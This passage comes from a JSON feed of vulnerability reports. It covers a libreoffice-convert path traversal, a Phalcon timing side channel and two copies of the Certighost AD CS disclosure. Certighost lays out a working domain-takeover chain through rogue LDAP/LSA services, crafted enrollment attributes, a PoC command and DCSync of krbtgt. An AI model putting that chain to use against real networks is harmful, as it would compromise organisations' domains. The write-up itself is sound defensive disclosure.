path.basename containment patch.\n- Implement application-level sanitization to normalize and strip directory traversal sequences before parsing options.\n- Ensure Node.js execution occurs under a non-privileged system account with minimal write access.\n- Enforce read-only containers with temporary volumes mounted for specific processing needs.\n\n**Remediation Steps:**\n1. Run 'npm install libreoffice-convert@1.8.2' or 'yarn upgrade libreoffice-convert@1.8.2' in the project directory.\n2. Audit all routes that forward request body parameters to convertWithOptions to verify input validation.\n3. Deploy container security policies that restrict the writable filesystem to dedicated sandbox locations.\n\n## References\n\n- [GHSA-gmxc-r82q-347r: Path traversal in libreoffice-convert](https://github.com/elwerene/libreoffice-convert/security/advisories/GHSA-gmxc-r82q-347r)\n- [Fix Commit b78f17df9b9183bd503fc4635fc8b3df6705047b](https://github.com/elwerene/libreoffice-convert/commit/b78f17df9b9183bd503fc4635fc8b3df6705047b)\n- [CVE-2026-54732 Details on CVE.org](https://www.cve.org/CVERecord?id=CVE-2026-54732)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54732) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-08-27T19:31:53.204017Z"}, {"uuid": "b0d01bc4-2fa5-4b2d-80bc-1f9e421274d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54736", "type": "seen", "source": "https://gist.github.com/alon710/c1d8520d53bfcef788cd28dc6c9eb99d", "content": "# CVE-2026-54736: CVE-2026-54736: Timing Side-Channel Vulnerability in Phalcon Crypt Decryption\n\n> **CVSS Score:** 8.2\n> **Published:** 2026-08-28\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54736\n\n## Summary\nPhalcon versions prior to 5.14.1 are vulnerable to a timing side-channel attack in the authenticated decryption process. The HMAC signature verification utilizes a non-constant-time byte comparison, allowing unauthenticated remote attackers to reconstruct valid signatures and forge arbitrary encrypted payloads.\n\n## TL;DR\nA timing side-channel in Phalcon allows remote, unauthenticated attackers to forge encrypted payloads by guessing HMAC signatures byte-by-byte.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-208\n- **Attack Vector**: Network\n- **CVSS v4.0**: 8.2 (High)\n- **Exploit Status**: Proof-of-Concept\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- Phalcon PHP Framework applications using Crypt::decrypt() with signing enabled\n- **cphalcon**: < 5.14.1 (Fixed in: `5.14.1`)\n\n## Mitigation\n\n- Upgrade Phalcon to version 5.14.1 or higher\n- Implement rate-limiting on decryption endpoints to prevent brute-force timing attacks\n- Ensure error messages do not leak decryption or signature validation states\n\n**Remediation Steps:**\n1. Verify current extension version via 'php -ri phalcon'\n2. Update phalcon/cphalcon dependency in composer.json to '^5.14.1'\n3. Recompile/update the C extension in the target environment\n4. Restart the PHP-FPM or Apache web server to apply the changes\n\n## References\n\n- [GitHub Security Advisory GHSA-8jqh-95g6-7jpj](https://github.com/phalcon/cphalcon/security/advisories/GHSA-8jqh-95g6-7jpj)\n- [Phalcon Issue #17090](https://github.com/phalcon/cphalcon/issues/17090)\n- [Phalcon PR #17091](https://github.com/phalcon/cphalcon/pull/17091)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54736) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-08-28T16:32:37.947723Z"}, {"uuid": "9af4a9d1-5ecb-4158-8fd8-92ce4f5254b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://gist.github.com/alexter13/8bdb7f7bbda47ae1274966b1e4f5af28", "content": "# Certighost (CVE-2026-54121)\n\n**Authors:** [@h0j3n](https://x.com/h0j3n), [@aniqfakhrul](https://x.com/aniqfakhrul)  \n**Date:** July 24, 2026\n\n---\n\nCertighost is an Active Directory Certificate Services (AD CS) vulnerability that allowed a low-privileged domain user to impersonate a Domain Controller and achieve domain compromise in the tested AD CS configuration. The issue was addressed in the July 2026 security updates.\n\nThe vulnerable path is an AD CS enrollment fallback known as a *chase* during directory-object resolution. By supplying request attributes such as `cdc`, an attacker could cause the Certification Authority (CA) to ask an attacker-controlled host for identity data belonging to a Domain Controller. The CA then used that data while issuing a certificate.\n\n\n  \n\n\nThis post explains how the chase path works, why it could be abused, and what changed in the update.\n\n## Introduction to Active Directory Certificate Services\n\nIf you already work with AD CS, feel free to skip ahead. For the rest of the post, it is enough to think of a certificate as a signed proof of identity. Like a Kerberos ticket, it can be presented during authentication to show who a user or computer is supposed to be.\n\nAD CS is Microsoft's public key infrastructure implementation. It integrates with Active Directory and issues X.509 certificates for purposes such as encryption, signing, secure communications, and authentication.\n\nA certificate binds a subject to a public key. The private key stays with the requester, while the certificate contains the public key and identity information signed by a Certification Authority. A service that trusts the CA can use that signature to trust the identity in the certificate.\n\nCertificate templates control the enrollment process. A template decides who may request a certificate, what it can be used for, what identity information must be present, and whether the CA may accept information supplied in the request.\n\nThe relevant piece here is certificate-based client authentication. A client requests a certificate from an Enterprise CA and later presents it to the Key Distribution Center (KDC) to obtain Kerberos credentials.\n\n### PKINIT and certificate mapping\n\nTo make this concrete, consider a small lab domain named `ABC.LOCAL` with AD CS installed. A low-privileged account can request a certificate from a template it is permitted to enroll in, then use that certificate to authenticate to the KDC.\n\n![Requesting and authenticating with a certificate using Certipy](https://gist.github.com/user-attachments/assets/c7d6f12d-d1bc-451c-b861-eb2863060173)\n\n\nRequesting and authenticating with a certificate using Certipy\n\nDuring certificate authentication, the KDC maps the identity in the certificate to an Active Directory account and issues a Kerberos TGT when the mapping succeeds.\n\n## Background: the chase fallback\n\nBefore getting to the bug, we need to look at one enrollment behavior. In some cross-domain-controller enrollment scenarios, the CA may perform a second directory lookup, referred to here as a *chase*.\n\nTwo request attributes influence that lookup:\n\n- `cdc` (Client DC), which identifies the host the CA should contact\n- `rmd` (Remote Domain), which identifies the principal the CA should look up\n\nWhen both attributes are present, the CA contacts the host named by `cdc` over SMB and LDAP, then searches for the principal named by `rmd`. The request-processing path reads these values and passes them into the remote directory lookup.\n\n\n\n  \n\n\n\nWireshark capture showing the CA following the requester-controlled cdc target to the attacker host over SMB/LSA and LDAP.\n\n## The vulnerability: Certighost\n\nThe CA accepted the requester-supplied chase target without first proving that it was the Domain Controller it claimed to be. That made it possible for an attacker to run LDAP and LSA services on a host they controlled, direct the CA to that host, and return directory data for a chosen target principal.\n\nIn the vulnerable flow, the attacker supplies `cdc` and `rmd` in a certificate request. The CA opens SMB and LDAP connections to the address in `cdc`, performs the chase lookup for the principal in `rmd`, and uses the returned identity data while building the certificate.\n\nThe issue is not just the outbound connection. The CA used the response from that host as directory data for the request. In the tested chain, the attacker could return a Domain Controller's `objectSid` and `dNSHostName`. Those values influenced the certificate identity material issued by the CA, including the strong-mapping SID and DNS identity fields used during authentication.\n\nA machine account created through the default `ms-DS-MachineAccountQuota` setting is a valid domain principal. This allowed the attacker-controlled chase endpoint to satisfy the authentication checks needed for the CA to continue, even though it was not the Domain Controller being impersonated.\n\n\n\n  \n\n\n\nVulnerable chase flow: the CA follows requester-controlled cdc, accepts attacker-supplied directory data, and issues certificate identity material for the target DC.\n\nThe diagram follows the three parties involved in the vulnerable chase: the attacker prepares a valid machine account and rogue services, the CA follows the requester-controlled `cdc` target and trusts the returned identity data, and the Domain Controller is then impersonated through certificate-based authentication and replication access.\n\n## Proof of concept walkthrough\n\n### Lab environment\n\nOur test environment contained:\n\n- An AD forest at Windows Server 2016 or later functional level\n- Domain Controller: `WDC01.abc.local` (`192.168.8.128`)\n- Enterprise CA: `abc-WCA01-CA` on `WCA01.abc.local` (`192.168.8.129`)\n- The default `ms-DS-MachineAccountQuota` value of `10`\n- The default `Machine` certificate template with its default access control list\n- An attacker host at `192.168.8.134`\n- One low-privileged Domain Users account: `normaluser`\n\n### Step 1: Install dependencies\n\nThe proof of concept is a self-contained Python script. It requires impacket, cryptography, pyasn1, asn1crypto, and dnspython.\n\n```bash\nsudo pip install --break-system-packages git+https://github.com/fortra/impacket.git cryptography pyasn1 asn1crypto pycryptodome dnspython\n```\n\n### Step 2: Run the proof of concept and observe the result\n\n```bash\nsudo python3 certighost.py \\\n  -d abc.local \\\n  -u normaluser -p '[PASSWORD]' \\\n  --dc-ip 192.168.8.128\n```\n\nThe script discovers the CA and a target Domain Controller, creates a machine account, starts the local LDAP and LSA services, submits the crafted enrollment request, and produces the terminal output shown below.\n\n![Terminal output of a successful Certighost run](https://gist.github.com/user-attachments/assets/7ad0a7a7-edf7-4b50-8c69-7e0c91ed2ae4)\n\n\nTerminal output of a successful Certighost run\n\nAt this point, the attacker has a CA-signed certificate that authenticates as the target Domain Controller in the tested configuration and a Kerberos credential cache for that account.\n\n### Step 3: DCSync\n\nA Domain Controller account has directory replication rights. With the resulting Kerberos credential, the attacker can request account secrets, including the `krbtgt` secret.\n\n![Successful DCSync output showing the `krbtgt` account](https://gist.github.com/user-attachments/assets/64e7a484-87d4-46fc-a3d7-c2b600ffe9cd)\n\n\nSuccessful DCSync output showing the `krbtgt` account\n\n### What the proof of concept does\n\nThe script follows the full chain in one process:\n\n1. It connects to LDAP with the supplied low-privileged account and discovers the CA, Domain Controller, domain SID, and domain GUID.\n2. It creates a machine account through `ms-DS-MachineAccountQuota` and registers the required service principal names.\n3. It starts local LSA and LDAP services. The services relay the CA's authentication challenge to the real Domain Controller so the chase endpoint is accepted as a valid domain principal.\n4. It submits a certificate request containing the `cdc` and `rmd` attributes.\n5. It receives a certificate carrying identity material for the target Domain Controller, including SID and DNS-name data used by the authentication flow.\n6. It uses the certificate to authenticate as the target Domain Controller and writes the resulting credential cache.\n\n## Post-update behavior\n\nThe July 2026 update changes the CA-side request path. Before continuing a chase, the CA validates the supplied `cdc` target against Active Directory.\n\nThe update adds a validation step to the principal-loading path. When the validation gate is active, the CA checks that the hostname supplied in `cdc` resolves to a legitimate Domain Controller computer object in the real directory before it continues the chase. A validation failure takes the request down an error path rather than the chase continuation.\n\n| Component | Before the update | After the update |\n|---|---|---|\n| Chase target | The CA followed the requester-supplied target | The CA validates the supplied `cdc` hostname against the real directory |\n| Principal lookup | The remote response was treated as authoritative | The target must resolve to a legitimate Domain Controller computer object |\n| Certificate identity data | Returned SID and hostname could be attacker-controlled | Resolution proceeds only after target validation and a follow-on SID comparison |\n| Certificate request result | A forged chase response could lead to issuance | A failed validation or SID comparison takes an error path |\n\nThe fix addresses the trust boundary that made Certighost possible: a chase endpoint is no longer accepted merely because it responds as a domain principal. The July binary contains a gate around the new validation, so the protection applies when that gate and its validation path are active.\n\nThe diagram below summarizes the July update path. It shows which checks must pass before the CA continues the chase, and which checks stop the request before that point.\n\n\n\n\nJuly update flow: the CA validates the chase target against AD before allowing the referral chase to continue.\n\nRead the diagram from top to bottom: the request enters the validation path, each check answers one yes/no question, and the request must pass every check before the chase continues. A failed check stops the request before that point. The specific conditions behind each check - length and character checks, the Domain Controller computer-object requirement, and the resolved-SID comparison - are described in the paragraph below.\n\nThe validation function rejects overlong and IP-literal targets, blocks the filtered-character set before constructing the LDAP query, and requires a unique computer object whose `userAccountControl` includes `SERVER_TRUST_ACCOUNT` (`8192`). If the first directory search has no match, the code retries with an extracted base DN. The loader only reaches the referral continuation after a successful validation return; it also contains a later resolved-SID comparison. These control-flow observations were checked against the hash-matched July DLL.\n\n\nDetailed patched flow:\n\n```text\n1. User submits cert enrollment request with cdc=\"attacker.example.com\"\n2. _LoadPrincipalObject() calls _GetDSObject() -> fails (referral needed)\n3. polGetRequestAttribute(\"cdc\", &bstrString) -> reads attacker's hostname\n4. NEW: Feature_3185813818 check (servicing flag)\n   - DISABLED -> old behavior (backward compat)\n   - ENABLED -> _ValidateChaseTargetIsDC(bstrString)\n      - Reject if empty\n      - Reject if > 260 chars\n      - Reject if IPv4 address (RtlIpv4StringToAddressW)\n      - Reject if IPv6 address (RtlIpv6StringToAddressW)\n      - Reject if contains LDAP injection chars: ( ) * [ \\ ]\n      - LDAP search: (&(objectCategory=computer)(dNSHostName=)\n                       (userAccountControl:1.2.840.113556.1.4.803:=8192))\n         - 8192 = SERVER_TRUST_ACCOUNT = must be a real DC\n         - If 0 results -> try with extracted base DN (_ExtractBaseDNForDCSearch)\n         - If still 0 -> REJECT\n5. Only if validation passes -> _GetDSObject(a2, 1, bstrString) -> connect to verified DC\n6. NEW: _GetObjectSID() -> verify resolved object's SID matches requester's SID\n   - If SID mismatch -> REJECT (prevents object substitution)\n```\n\n## Code analysis\n\nThe proof-of-concept shows the impact, but the code path explains the root cause. The relevant logic sits in `certpdef.dll`, the AD CS Certificate Policy Enterprise module loaded by `certsrv.exe`. The vulnerable behavior is in the request-principal loading path, where request-supplied attributes are used while resolving the requester identity.\n\nWe compare the June and July builds because June is the vulnerable baseline and July is the Microsoft patched build. That makes the July-only functions useful markers for the fix.\n\nThe functions that matter for the request path are:\n\n| Build | Function | Why it matters |\n|---|---|---|\n| June / vulnerable | `CRequestInstance::_LoadPrincipalObject` | Vulnerable integration point; reads the requester-controlled chase target. |\n| June / vulnerable | `CRequestInstance::_GetDSObject` | Directory lookup/chase sink reached with the untrusted `cdc` host. |\n| June / vulnerable | `CRequestInstance::_GetObjectSID` | Original SID retrieval path before the July identity-verification changes. |\n| July / patched | `CRequestInstance::_ExtractBaseDNForDCSearch` | Helper used by the DC verification LDAP search. |\n| July / patched | `CRequestInstance::_ValidateChaseTargetIsDC` | Validates that `cdc` resolves to a real Domain Controller. |\n| July / patched | `CRequestInstance::_LoadPrincipalObject` | Patched integration point; calls validation before the chase. |\n| July / patched | `CRequestInstance::_GetDSObject` | Same logical sink, now reached only after validation when the protected path is active. |\n| July / patched | `CRequestInstance::_GetObjectSID` | Updated identity/SID verification path after object resolution. |\n| July / patched | `Feature_3185813818` | Servicing feature gate around the updated behavior. |\n\nThe July-only pieces to look for are `CRequestInstance::_ValidateChaseTargetIsDC`, `CRequestInstance::_ExtractBaseDNForDCSearch`, and the `Feature_3185813818` gate.\n\n### June vulnerable build flow\n\nIn the June vulnerable build, `CRequestInstance::_LoadPrincipalObject` reads the `cdc` request attribute and passes it directly into `_GetDSObject` with chase enabled.\n\n```c\n// decompiled shape from CRequestInstance::_LoadPrincipalObject\npolGetRequestAttribute(policy, L\"cdc\", &bstrString);\n\nCRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n//                                           ^ chase enabled\n//                                              ^ requester-controlled host\n```\n\nThe request-to-directory path is:\n\n```text\ncertificate request attribute -> cdc BSTR -> _GetDSObject(..., chase = 1, cdc)\n```\n\nIn other words, requester-controlled routing data reached a directory-authority decision before the CA had checked that the target was a Domain Controller.\n\n### July patched build flow\n\nThe July patched build wraps the same chase with a feature-gated validation call and then performs an additional SID verification path.\n\n```c\n// decompiled shape from CRequestInstance::_LoadPrincipalObject\npolGetRequestAttribute(policy, L\"cdc\", &bstrString);\n\nif (Feature_3185813818::IsEnabled()) {\n    CRequestInstance::_ValidateChaseTargetIsDC(this, bstrString);\n\n    CRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n\n    CRequestInstance::_GetObjectSID(this, &resolved_sid, mode);\n}\n```\n\nThere is still an legacy behavior branch visible in the patched control flow:\n\n```c\nCRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n```\n\nThat branch is reached when the servicing feature gate is not enabled. For lab validation, the feature state matters because the protected path is conditional.\n\n## Code analysis: `_ValidateChaseTargetIsDC`\n\n`CRequestInstance::_ValidateChaseTargetIsDC` is the main new guard. It takes the requester-supplied `cdc` value and checks that it is a Domain Controller hostname before `_GetDSObject` follows the chase.\n\nThe validation has two layers.\n\nFirst, it rejects values that are not safe DC hostnames:\n\n```c\n// 1. Strip leading backslashes, then reject empty input\nwhile (*target == L'\\\\')\n    target++;\nif (*target == L'\\0')\n    reject;\n\n// 2. Reject oversized hostnames\nif (wcslen(target) > 0x104)\n    reject;\n\n// 3. Reject IPv4 and IPv6 literals\nif (RtlIpv4StringToAddressW(target, TRUE, &end, &ipv4) == STATUS_SUCCESS && *end == 0)\n    reject;\n\nif (RtlIpv6StringToAddressW(target, &end, &ipv6) == STATUS_SUCCESS && *end == 0)\n    reject;\n\n// 4. Reject LDAP filter metacharacters\nfor (p = target; *p; p++) {\n    if ((*p - 0x28) <= 2 || (*p - 0x5b) <= 2)\n        reject;\n}\n```\n\nThe IP checks block raw-address chase targets such as `192.0.2.10` or `::1`. The metacharacter check keeps the hostname inside the LDAP filter slot.\n\nAfter the string checks, the function asks Active Directory whether the target is a DC:\n\n```text\n(&(objectCategory=computer)(dNSHostName=%s)(userAccountControl:1.2.840.113556.1.4.803:=8192))\n```\n\n`8192` is `SERVER_TRUST_ACCOUNT`, the `userAccountControl` bit used by Domain Controller computer accounts. The updated code searches for exactly one computer object with that bit set and a `dNSHostName` matching the supplied `cdc` value.\n\nThe search path is roughly:\n\n```c\nldap_search_ext_sW(ldap, NULL, LDAP_SCOPE_SUBTREE,\n                   filter, NULL, TRUE, NULL, NULL,\n                   &timeout, 1, &result);\n\ncount = ldap_count_entries(ldap, result);\n\nif (count == 0) {\n    base_dn = CRequestInstance::_ExtractBaseDNForDCSearch(this);\n    ldap_search_ext_sW(ldap, base_dn, LDAP_SCOPE_SUBTREE,\n                       filter, NULL, TRUE, NULL, NULL,\n                       &timeout, 1, &result);\n    count = ldap_count_entries(ldap, result);\n}\n\nif (count != 1)\n    reject;\n```\n\nThe missing check was simple but critical: the chase target must be an AD-registered Domain Controller, not just a host string from the certificate request.\n\n## Why the update fixes the bug\n\nBefore the update, the vulnerable chain was:\n\n```text\nattacker request -> cdc=\"attacker host\" -> CA LDAP chase -> attacker response -> issued identity\n```\n\nAfter the update, the intended chain is:\n\n```text\nattacker request -> cdc=\"some host\"\n        |\n        v\nvalidate hostname shape\n        |\n        v\nquery AD for dNSHostName= AND SERVER_TRUST_ACCOUNT\n        |\n        v\nrequire exactly one real DC object\n        |\n        v\nonly then call _GetDSObject(..., chase = 1, cdc)\n        |\n        v\nverify resolved SID / identity\n```\n\nThe update changes two things:\n\n1. **Target authenticity:** the chase target must be an AD-registered Domain Controller, not an arbitrary requester-controlled host.\n2. **Object authenticity:** the object resolved through the chase must match the expected identity, preventing substitution even if the lookup path is unusual.\n\n## Functions of interest\n\nFor security researchers tracing the request path, start with these functions:\n\n```text\nJune vulnerable build\n  CRequestInstance::_LoadPrincipalObject\n  CRequestInstance::_GetDSObject\n  CRequestInstance::_GetObjectSID\n\nJuly patched build\n  Feature_3185813818\n  CRequestInstance::_ExtractBaseDNForDCSearch\n  CRequestInstance::_ValidateChaseTargetIsDC\n  CRequestInstance::_LoadPrincipalObject\n  CRequestInstance::_GetDSObject\n  CRequestInstance::_GetObjectSID\n```\n\nGood code references for the writeup are:\n\n1. June `_LoadPrincipalObject` showing `cdc` flowing into `_GetDSObject`.\n2. July `_LoadPrincipalObject` showing the call to `_ValidateChaseTargetIsDC` before `_GetDSObject`.\n3. July `_ValidateChaseTargetIsDC` showing the IP rejection and LDAP filter construction.\n4. July `_ValidateChaseTargetIsDC` showing the `userAccountControl:1.2.840.113556.1.4.803:=8192` DC query.\n5. July `_GetObjectSID` or its caller site showing the added SID verification path.\n\n## Hot fix without the update: disable the chase fallback\n\nIf the July update cannot be installed immediately, the vulnerable code path can be switched off completely with a policy flag, because the `cdc` chase is an optional fallback feature, not code that runs on every request:\n\n```powershell\ncertutil -setreg policy\\EditFlags -EDITF_ENABLECHASECLIENTDC\nRestart-Service CertSvc -Force\n```\n\nThis is a mitigation, not a patch. If `EDITF_ENABLECHASECLIENTDC` is re-enabled on an unpatched CA by an administrator, image, or group policy, the vulnerability is exploitable again.\n\nNote: *This hot fix was validated only in a controlled lab environment, not on a production CA. Before applying it in production, test it on a staging CA that mirrors your environment and confirm that no legitimate enrollment relies on the chase fallback those requests will fail once the flag is cleared. The July update remains the recommended remediation.*\n\n## Timeline\n\n- **May 14, 2026:** Vulnerability reported to the Microsoft Security Response Center\n- **May 14, 2026:** Case assigned\n- **May 22, 2026:** Case investigated and confirmed\n- **July 14, 2026:** Patch released by Microsoft as CVE-2026-54121\n- **July 24, 2026:** Public disclosure\n\n## References\n\n- [certighost.py PoC script](https://github.com/aniqfakhrul/CVE-2026-54121)\n- [Certipy AD CS toolkit](https://github.com/ly4k/Certipy)\n- [Microsoft Security Update Guide: CVE-2026-54121](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121)\n- [MS-WCCE: Windows Client Certificate Enrollment Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/)\n\n## Acknowledgments\n\nThe authors would like to thank the Microsoft Security Response Center for the acknowledgement.\n", "creation_timestamp": "2026-07-25T11:22:08.710685Z"}, {"uuid": "a2f5c3b0-7333-4b05-b3fb-19212dcffc09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54120", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mrhsytqjxb2o", "content": "\ud83d\udd34 CVE-2026-54120 - Critical (9.9)\n\nImproper input validation in Microsoft Surface allows an authorized attacker to execute code over...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54120/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-25T12:00:54.145938Z"}, {"uuid": "bc54d2c8-5e7b-4cab-83ce-a3e4e283d4e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://gist.github.com/swtornio/bc004ac76d43c9e0869d9fa9706fc865", "content": "# Certighost (CVE-2026-54121)\n\n**Authors:** [@h0j3n](https://x.com/h0j3n), [@aniqfakhrul](https://x.com/aniqfakhrul)  \n**Date:** July 24, 2026\n\n---\n\nCertighost is an Active Directory Certificate Services (AD CS) vulnerability that allowed a low-privileged domain user to impersonate a Domain Controller and achieve domain compromise in the tested AD CS configuration. The issue was addressed in the July 2026 security updates.\n\nThe vulnerable path is an AD CS enrollment fallback known as a *chase* during directory-object resolution. By supplying request attributes such as `cdc`, an attacker could cause the Certification Authority (CA) to ask an attacker-controlled host for identity data belonging to a Domain Controller. The CA then used that data while issuing a certificate.\n\n\n  \n\n\nThis post explains how the chase path works, why it could be abused, and what changed in the update.\n\n## Introduction to Active Directory Certificate Services\n\nIf you already work with AD CS, feel free to skip ahead. For the rest of the post, it is enough to think of a certificate as a signed proof of identity. Like a Kerberos ticket, it can be presented during authentication to show who a user or computer is supposed to be.\n\nAD CS is Microsoft's public key infrastructure implementation. It integrates with Active Directory and issues X.509 certificates for purposes such as encryption, signing, secure communications, and authentication.\n\nA certificate binds a subject to a public key. The private key stays with the requester, while the certificate contains the public key and identity information signed by a Certification Authority. A service that trusts the CA can use that signature to trust the identity in the certificate.\n\nCertificate templates control the enrollment process. A template decides who may request a certificate, what it can be used for, what identity information must be present, and whether the CA may accept information supplied in the request.\n\nThe relevant piece here is certificate-based client authentication. A client requests a certificate from an Enterprise CA and later presents it to the Key Distribution Center (KDC) to obtain Kerberos credentials.\n\n### PKINIT and certificate mapping\n\nTo make this concrete, consider a small lab domain named `ABC.LOCAL` with AD CS installed. A low-privileged account can request a certificate from a template it is permitted to enroll in, then use that certificate to authenticate to the KDC.\n\n![Requesting and authenticating with a certificate using Certipy](https://gist.github.com/user-attachments/assets/c7d6f12d-d1bc-451c-b861-eb2863060173)\n\n\nRequesting and authenticating with a certificate using Certipy\n\nDuring certificate authentication, the KDC maps the identity in the certificate to an Active Directory account and issues a Kerberos TGT when the mapping succeeds.\n\n## Background: the chase fallback\n\nBefore getting to the bug, we need to look at one enrollment behavior. In some cross-domain-controller enrollment scenarios, the CA may perform a second directory lookup, referred to here as a *chase*.\n\nTwo request attributes influence that lookup:\n\n- `cdc` (Client DC), which identifies the host the CA should contact\n- `rmd` (Remote Domain), which identifies the principal the CA should look up\n\nWhen both attributes are present, the CA contacts the host named by `cdc` over SMB and LDAP, then searches for the principal named by `rmd`. The request-processing path reads these values and passes them into the remote directory lookup.\n\n\n\n  \n\n\n\nWireshark capture showing the CA following the requester-controlled cdc target to the attacker host over SMB/LSA and LDAP.\n\n## The vulnerability: Certighost\n\nThe CA accepted the requester-supplied chase target without first proving that it was the Domain Controller it claimed to be. That made it possible for an attacker to run LDAP and LSA services on a host they controlled, direct the CA to that host, and return directory data for a chosen target principal.\n\nIn the vulnerable flow, the attacker supplies `cdc` and `rmd` in a certificate request. The CA opens SMB and LDAP connections to the address in `cdc`, performs the chase lookup for the principal in `rmd`, and uses the returned identity data while building the certificate.\n\nThe issue is not just the outbound connection. The CA used the response from that host as directory data for the request. In the tested chain, the attacker could return a Domain Controller's `objectSid` and `dNSHostName`. Those values influenced the certificate identity material issued by the CA, including the strong-mapping SID and DNS identity fields used during authentication.\n\nA machine account created through the default `ms-DS-MachineAccountQuota` setting is a valid domain principal. This allowed the attacker-controlled chase endpoint to satisfy the authentication checks needed for the CA to continue, even though it was not the Domain Controller being impersonated.\n\n\n\n  \n\n\n\nVulnerable chase flow: the CA follows requester-controlled cdc, accepts attacker-supplied directory data, and issues certificate identity material for the target DC.\n\nThe diagram follows the three parties involved in the vulnerable chase: the attacker prepares a valid machine account and rogue services, the CA follows the requester-controlled `cdc` target and trusts the returned identity data, and the Domain Controller is then impersonated through certificate-based authentication and replication access.\n\n## Proof of concept walkthrough\n\n### Lab environment\n\nOur test environment contained:\n\n- An AD forest at Windows Server 2016 or later functional level\n- Domain Controller: `WDC01.abc.local` (`192.168.8.128`)\n- Enterprise CA: `abc-WCA01-CA` on `WCA01.abc.local` (`192.168.8.129`)\n- The default `ms-DS-MachineAccountQuota` value of `10`\n- The default `Machine` certificate template with its default access control list\n- An attacker host at `192.168.8.134`\n- One low-privileged Domain Users account: `normaluser`\n\n### Step 1: Install dependencies\n\nThe proof of concept is a self-contained Python script. It requires impacket, cryptography, pyasn1, asn1crypto, and dnspython.\n\n```bash\nsudo pip install --break-system-packages git+https://github.com/fortra/impacket.git cryptography pyasn1 asn1crypto pycryptodome dnspython\n```\n\n### Step 2: Run the proof of concept and observe the result\n\n```bash\nsudo python3 certighost.py \\\n  -d abc.local \\\n  -u normaluser -p '[PASSWORD]' \\\n  --dc-ip 192.168.8.128\n```\n\nThe script discovers the CA and a target Domain Controller, creates a machine account, starts the local LDAP and LSA services, submits the crafted enrollment request, and produces the terminal output shown below.\n\n![Terminal output of a successful Certighost run](https://gist.github.com/user-attachments/assets/7ad0a7a7-edf7-4b50-8c69-7e0c91ed2ae4)\n\n\nTerminal output of a successful Certighost run\n\nAt this point, the attacker has a CA-signed certificate that authenticates as the target Domain Controller in the tested configuration and a Kerberos credential cache for that account.\n\n### Step 3: DCSync\n\nA Domain Controller account has directory replication rights. With the resulting Kerberos credential, the attacker can request account secrets, including the `krbtgt` secret.\n\n![Successful DCSync output showing the `krbtgt` account](https://gist.github.com/user-attachments/assets/64e7a484-87d4-46fc-a3d7-c2b600ffe9cd)\n\n\nSuccessful DCSync output showing the `krbtgt` account\n\n### What the proof of concept does\n\nThe script follows the full chain in one process:\n\n1. It connects to LDAP with the supplied low-privileged account and discovers the CA, Domain Controller, domain SID, and domain GUID.\n2. It creates a machine account through `ms-DS-MachineAccountQuota` and registers the required service principal names.\n3. It starts local LSA and LDAP services. The services relay the CA's authentication challenge to the real Domain Controller so the chase endpoint is accepted as a valid domain principal.\n4. It submits a certificate request containing the `cdc` and `rmd` attributes.\n5. It receives a certificate carrying identity material for the target Domain Controller, including SID and DNS-name data used by the authentication flow.\n6. It uses the certificate to authenticate as the target Domain Controller and writes the resulting credential cache.\n\n## Post-update behavior\n\nThe July 2026 update changes the CA-side request path. Before continuing a chase, the CA validates the supplied `cdc` target against Active Directory.\n\nThe update adds a validation step to the principal-loading path. When the validation gate is active, the CA checks that the hostname supplied in `cdc` resolves to a legitimate Domain Controller computer object in the real directory before it continues the chase. A validation failure takes the request down an error path rather than the chase continuation.\n\n| Component | Before the update | After the update |\n|---|---|---|\n| Chase target | The CA followed the requester-supplied target | The CA validates the supplied `cdc` hostname against the real directory |\n| Principal lookup | The remote response was treated as authoritative | The target must resolve to a legitimate Domain Controller computer object |\n| Certificate identity data | Returned SID and hostname could be attacker-controlled | Resolution proceeds only after target validation and a follow-on SID comparison |\n| Certificate request result | A forged chase response could lead to issuance | A failed validation or SID comparison takes an error path |\n\nThe fix addresses the trust boundary that made Certighost possible: a chase endpoint is no longer accepted merely because it responds as a domain principal. The July binary contains a gate around the new validation, so the protection applies when that gate and its validation path are active.\n\nThe diagram below summarizes the July update path. It shows which checks must pass before the CA continues the chase, and which checks stop the request before that point.\n\n\n\n\nJuly update flow: the CA validates the chase target against AD before allowing the referral chase to continue.\n\nRead the diagram from top to bottom: the request enters the validation path, each check answers one yes/no question, and the request must pass every check before the chase continues. A failed check stops the request before that point. The specific conditions behind each check - length and character checks, the Domain Controller computer-object requirement, and the resolved-SID comparison - are described in the paragraph below.\n\nThe validation function rejects overlong and IP-literal targets, blocks the filtered-character set before constructing the LDAP query, and requires a unique computer object whose `userAccountControl` includes `SERVER_TRUST_ACCOUNT` (`8192`). If the first directory search has no match, the code retries with an extracted base DN. The loader only reaches the referral continuation after a successful validation return; it also contains a later resolved-SID comparison. These control-flow observations were checked against the hash-matched July DLL.\n\n\nDetailed patched flow:\n\n```text\n1. User submits cert enrollment request with cdc=\"attacker.example.com\"\n2. _LoadPrincipalObject() calls _GetDSObject() -> fails (referral needed)\n3. 